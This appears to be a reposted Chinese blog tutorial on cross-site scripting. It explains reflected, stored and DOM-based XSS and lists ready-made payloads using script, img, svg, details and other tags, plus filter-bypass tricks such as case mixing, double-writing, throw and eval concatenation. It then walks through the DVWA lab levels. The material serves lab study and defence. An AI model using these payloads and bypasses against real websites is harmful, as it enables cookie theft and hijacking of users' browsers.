XSS(内含DVWA)

news2024/9/28 21:50:17

目录

一.XSS的攻击方式:

1. 反射型 XSS(Reflected XSS)

2. 存储型 XSS(Stored XSS)

3. DOM型 XSS(DOM-based XSS)

总结

二..XSS的危害

三.常见的XSS方式

1.script标签

四.常见基本过滤方法

1.空格过滤

2.引号过滤

3.括号过滤

4.关键字过滤

5.字符串拼接绕过

五.DVWA

1.DOM(LOW)

2.DOM(medium)

3.DOM(High)

4.Reflected(low)

5.Reflected(Medium)

1)我们先尝试用大写绕过

​编辑2)双写绕过

​编辑 3)标签img爆出

4)标签input爆出

5)标签detail

6)svg标签嵌入

7)select标签嵌入

8)iframe标签

9)video标签爆出

10)audio标签爆出

11)body标签

6.Reflected(High)

7.Stored(low)

8.Stored(Medium)

9.Stored(High)


一.XSS的攻击方式:

1. 反射型 XSS(Reflected XSS)

  • 定义:反射型 XSS 攻击发生在用户请求特定 URL 时,恶意脚本作为请求的一部分被服务器反射回用户的浏览器中。简单来说,攻击者在特定的请求中注入恶意代码,然后当用户点击这个链接时,网页会将这个代码反射回并执行。

  • 特点

    • 不会存储在服务器上,而是立即反射给用户。
    • 通常依赖于用户点击特殊构造的链接。
    • 攻击通常是一次性的,用户需要点击链接以触发攻击。
  • 示例:例如,一个搜索功能的查询字符串中包含恶意 JavaScript 代码:

    http://example.com/search?q=<script>alert('XSS')</script>

    如果网站未对参数 ‘q’ 进行适当的编码或过滤,则页面可能立即执行这个脚本。

2. 存储型 XSS(Stored XSS)

  • 定义:存储型 XSS 攻击是指恶意脚本被存储在服务器的数据库或其他存储介质中,随后被传送到用户的浏览器中进行执行。攻击者将恶意代码注入到网站中,保存后,当用户访问含有该代码的页面时,就会触发执行。

  • 特点

    • 恶意代码存储在服务器上,可以反复利用,攻击的风险更高。
    • 非常危险,可能影响所有访问该页面的用户。
  • 示例:例如,一个社交网络允许用户发布评论,如果用户在评论中插入了恶意脚本:

    <script>alert('Stored XSS');</script>

    这个脚本会被存储到数据库中,当任何用户查看该评论时,该脚本就会被执行。

3. DOM型 XSS(DOM-based XSS)

  • 定义:DOM型 XSS 是一种客户端攻击,它是通过操作 Document Object Model (DOM) 来实施的。攻击者注入的恶意代码直接在浏览器中执行,而不是通过服务器端的响应。这种类型的攻击常常依赖于脚本如何操作页面的 URL 或其他 DOM 元素。

  • 特点

    • 完全在客户端进行,通常不需要与服务器交互。
    • 利用 JavaScript 提供的操作 DOM 的能力,如 document.locationdocument.cookie 等。
    • 可能会在不需要用户点击链接的情况下自动触发。
  • 示例:一个 JavaScript 脚本错误地使用 location.hash 来获取 URL 中的锚点:

const userInput = location.hash.substring(1); // 获取URL中的锚点内容 
document.write(userInput); // 直接将其写入页面 

如果攻击者访问:

http://example.com/#<script>alert('DOM-based XSS')</script>

页面会直接执行用户恶意注入的代码。

总结

  1. 反射型 XSS:即时反射,依赖用户点击链接,通常是一次性的。
  2. 存储型 XSS:恶意代码存储在服务器上,多次执行,影响广泛。
  3. DOM型 XSS:常在客户端,通过操控 DOM 元素来执行,无需与服务器交互。

二..XSS的危害

  1. 挂马
  2. 盗取用户Cookie
  3. DOS(拒绝服务)客户端浏览器
  4. 钓鱼攻击,高级的钓鱼技巧
  5. 删除目标文章、恶意篡改数据、嫁祸
  6. 劫持用户Web行为,甚至进一步渗透内网
  7. 爆发Web2.0蠕虫
  8. 蠕虫式的DDoS攻击
  9. 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
  10. 伪造用户身份进行欺诈活动
  11. 在用户浏览器中执行任意代码
  12. 影响用户的社交媒体账户,发送垃圾信息
  13. 传播恶意链接或推荐广告
  14. 重定向用户到恶意网站
  15. 凭证缓存劫持,造成持久性攻击
  16. 进行细粒度的监控,记录用户活动
  17. 在用户不知情的情况下进行大规模注册或留言
  18. 通过篡改内容传播虚假信息或谣言
  19. 利用受害者的计算资源进行挖矿攻击
  20. 影响用户的主机安全,打开后门

三.常见的XSS方式

1.script标签

<script>alert(1)</script>
<script>alert("xss")</script>
<script>alert(document.cookie)</script>

2.img标签

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
<img src=1 onerror=alert(document.cookie);>

3.input标签

<input onfocus=alert(1);>

<input onblur=alert(1) autofocus><input autofocus>

<input onfocus="alert(1);" autofocus>

<input onfocus="alert(1);" οnclick=alert(1)>        这样需要点击一下输入框<br>
<input onfocus="alert(1);" onmouseover=alert(1)>    需要鼠标划过输入框<br>

4.details标签


<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发

<details ontoggle=alert(1);>
 
 
<details open ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

5.svg标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg onload=alert(1);>

6.select标签


<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select>
 
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>

7.iframe标签

<iframe> 标签会创建包含另外一个文档的内联框架。
 
<iframe onload=alert(1);></iframe>

8.video标签


<video> 标签定义视频,比如电影片段或其他视频流。
 
<video><source onerror=alert(1)>

9.audio标签


<audio> 标签定义声音,比如音乐或其他音频流。
 
<audio src=x  onerror=alert(1);>

10.body标签


<body> 标签定义文档的主体。
 
<body onload=alert(1);>

四.常见基本过滤方法

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:
 
/**/,注释符号绕过;/符号绕过;
 
<img/src="x"/onerror=alert(1);>

2.引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=x onerror=alert(`xss);>

3.括号过滤


当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
 
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4.关键字过滤

大小写绕过
 
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
 
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
 
<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x onerror=alert(1);>

5.字符串拼接绕过

利用eval()函数
 
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
 
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号

五.DVWA

1.DOM(LOW)

源码:

我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞

<script>alert("xss")</script>

并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了

2.DOM(medium)

源码:

我们查看源码页面发现对“<script”进行了过滤,注入时会默认跳转到English页面。

既然不能使用script标签,那我们使用img进行尝试,发现奇怪还是没有弹窗。

<img src=1 onerror=alert("xss")>

但我们查看页面代码,发现我们构造的语句已经被插入了,不能成功执行弹窗的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用使用img标签。

</select></option><img src=1 onerror=alert("xss")>

我们将闭合后的语句执行后发现页面出现弹窗,说明存在xss漏洞。

3.DOM(High)

源码:

我们查看源代码,可以直接看出此处使用过滤方法是白名单过滤,只允许default传的值为French English German Spanish其中一个。这时候我们只能通过绕过服务器端的处理,只在服务器本端进行运行,考虑用#过滤,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。

#</select></option><img%20src=1%20onerror=alert("xss")>

4.Reflected(low)

源码:

我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞

<script>alert("xss")</script>

并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了

5.Reflected(Medium)

源码:

我们发现源码过滤了<script>我们尝试通过大写字母或双写,输入其他可执行弹窗的标签等方法来实现攻击.如果我们直接输入<script>alert('xss')</script>,发现页面直接显示alert('xss'),说明的确是直接过滤了<script>只传给服务器alert('xss')

1)我们先尝试用大写绕过

<Script>alert('xss')</Script>

2)双写绕过

<sc<script>ript>alert('xss')</script>

 3)标签img爆出

<img src=1 onerror=alert('xss');>

4)标签input爆出

<input onfocus=alert('xss');>

5)标签detail

<details ontoggle=alert(‘xss');>

6)svg标签嵌入

<svg onload=alert('xss');>

7)select标签嵌入

<select onfocus=alert('xss')></select>

8)iframe标签

<iframe onload=alert(1);></iframe>

9)video标签爆出

 <video><source onerror=alert(‘xss')>

10)audio标签爆出

<audio src=x  onerror=alert('xss');>

11)body标签

<body onload=alert(1);>

6.Reflected(High)

源码

 查看源代码,发现preg_replace 函数,是执行一个正则表达式的搜索和替换,直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img,input,detail等标签来进xss利用。(这边以body标签为例)

<body onload=alert('xss');>

7.Stored(low)

源码:

查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤。因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功。

<script>alert("xss")</script>

<script>alert("1")</script>

8.Stored(Medium)

与Reflected相同,即用大写或双写都能直接绕过

9.Stored(High)

与Reflected相同,即用其他标签都能直接绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2174854.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

假期旅行数仓项目--OLAP

需要这个完整离线数仓项目的源码和流程PPT可以私信我&#xff0c;可以帮助解决项目中遇到的问题&#xff0c;做完项目可以让你对数仓有更加清晰的认识 项目流程&#xff1a; 配置文件 kafka server.properties hive : hvie-site.xml 启动mysql 的binlog日志 修改maxwell配置…

QT:常用类与组件

1.设计QQ的界面 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPushButton> #include <QLineEdit> #include <QLabel>//自定义类Widget,采用public方式继承QWidget&#xff0c;该类封装了图形化界面的相关操作&#xff…

怎么绕开华为纯净模式安装软件

我是标题 众所周不知&#xff0c;华为鸿蒙系统自带纯净模式&#xff0c;而且 没法关闭 : ) 我反正没找到关闭键 以前或许会有提示&#xff0c;无视风险&#xff0c;“仍要安装”。但我这次遇到的问题是&#xff0c;根本没有这个选项&#xff0c;只有“应用市场”和“取消”&…

动态规划笔记

第一轮面试准备到第26题 一 解题步骤 对于动态规划问题&#xff0c;我将拆解为如下五步曲&#xff0c;这五步都搞清楚了&#xff0c;才能说把动态规划真的掌握了&#xff01; 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历…

基于yolov8的海上红外目标系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv8的海上红外目标系统是一项集成了前沿技术的创新解决方案&#xff0c;专为复杂海洋环境下的目标检测而设计。该系统利用YOLOv8深度学习模型的强大目标检测能力&#xff0c;结合红外成像技术&#xff0c;实现了对海上小型船只、浮标、甚至水下潜器等目标…

Arch - 架构安全性_传输(Transport Security)

文章目录 OverView导图1. 概述2. TLS的基本概念2.1 什么是TLS&#xff1f;2.2 TLS与SSL的关系2.3 TLS的工作原理 3. TLS的核心组件3.1 加密算法3.2 哈希函数3.3 数字证书 4. TLS握手过程4.1 客户端Hello4.2 服务器Hello4.3 证书验证4.4 密钥交换4.5 会话密钥生成4.6 安全连接建…

解锁初中学习新境界 —— 初中通关宝典速记手册

在初中这个学习生涯的关键阶段&#xff0c;掌握扎实的基础知识是取得优异成绩的关键。为此&#xff0c;我们特别推荐《初中通关宝典》——一本专为初中生打造的各科基础知识速记手册&#xff0c;它将成为你学习路上的得力助手。 文章目录 1. 全科覆盖&#xff0c;精准速记2.科学…

K8S的Pod IP

pod 的ip 一般是提供给pod1与pod2之间的通信&#xff0c;它有两个特点 1. Pod IP会随着Pod实例 的创新创建&#xff08;重启&#xff09;发生变化&#xff1b; 2. Pod IP只在集群内节点可见&#xff0c;外部无法直接访问

基于Spring框架的分层解耦详解

博客主页&#xff1a;誓则盟约系列专栏&#xff1a;Java Web关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Java Web 三层架构&#xff1a; Java Web可以大致被分为三层架构&#xff1a;…

基于单片机的水位检测系统仿真

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 基于STC89C52单片机&#xff0c;DHT11温湿度采集温湿度&#xff0c;滑动变阻器连接ADC0832数模转换器模拟水位传感器检测水位&#xff0c;通过LCD1602显示信息&#xff0c;然后在程序里设置好是否…

《Spring Boot应用进阶:打造优雅的错误处理机制与全局异常拦截器》

文章目录 自定义异常类AppException封装业务有关的枚举类AppExceptionCodeMsg全局异常拦截器Handler响应类模板Resp案例展示 || Demo项目结构pom依赖DemoController实际执行结果 Demo案例Git地址 | Gitee 本文主要介绍自己在工作中在处理抛出异常类和封装响应类处理的模板总结。…

首屏优化之:SSR(服务端渲染)

引言 今天我们来聊一下首屏优化之SSR-服务端渲染&#xff08;Server-Side Rendering&#xff09;。 可能很多朋友并不了解什么是 SSR&#xff0c;包括在工作中写的网站是什么类型的也不太清楚&#xff0c;是 CSR 还是 SSR&#xff1f;作者在阅读过大量的文章之后&#xff0c;…

数据结构:二叉树OJ题篇 手把手带你入门数据结构~

文章目录 前言一、单值二叉树二、检查两颗树是否相同三、对称二叉树四、另一颗树的子树五、二叉树的前序遍历六、二叉树的后序遍历七、二叉树中序遍历八、二叉树的构建及遍历九、二叉树选择题1.二叉树性质2. 二叉树选择题1. 某⼆叉树共有 399 个结点&#xff0c;其中有 199 个度…

vLLM (6) - Scheduler BlockSpaceManager

系列文章目录 vLLM (1) - Qwen2推理&部署 vLLM (2) - 架构总览 vLLM (3) - Sequence & SequenceGroup vLLM (4) - LLMEngine上篇 vLLM (5) - LLMEngine下篇 vLLM (6) - Scheduler & BlockSpaceManager 文章目录 系列文章目录前言一、Scheduler1.概述2.Scheduler._…

Cannot solve model: no CPLEX runtime found.【macOS系统下问题解决】

最近在研究电能优化的策略时&#xff0c;运行别人代码出现了 Cannot solve model: no CPLEX runtime found. 1. 下载cplex # !pip install cplex12.8 #指定版本 !pip install cplex #下载最新的版本2. 下载docplex !pip install docplex3. 重启Jupyter或者你的项目…

C++之STL—常用排序算法

sort (iterator beg, iterator end, _Pred) // 按值查找元素&#xff0c;找到返回指定位置迭代器&#xff0c;找不到返回结束迭代器位置 // beg 开始迭代器 // end 结束迭代器 // _Pred 谓词 random_shuffle(iterator beg, iterator end); // 指定范围内的元素随机调…

Qt(9.28)

widget.cpp #include "widget.h"Widget::Widget(QWidget *parent): QWidget(parent) {QPushButton *btn1 new QPushButton("登录",this);this->setFixedSize(640,480);btn1->resize(80,40);btn1->move(200,300);btn1->setIcon(QIcon("C:…

Secret Configmap

应用启动过程中可能需要一些敏感信息&#xff0c;比如访问数据库的用户名&#xff0c;密码或者秘钥&#xff0c;讲这些信息直接保存在容器镜像中显然不合适&#xff0c;kubernetes提供的解决方案就是Secret Secret会以密文的方式存储数据&#xff0c;避免了直接在配置文件中保…

基于php的医院信息管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏&#xff1a;Java精选实战项目…

NLP:BERT的介绍

1. BERT 1.1 Transformer Transformer架构是一种基于自注意力机制(self-attention)的神经网络架构&#xff0c;它代替了以前流行的循环神经网络和长短期记忆网络&#xff0c;已经应用到多个自然语言处理方向。   Transformer架构由两个主要部分组成&#xff1a;编码器(Encod…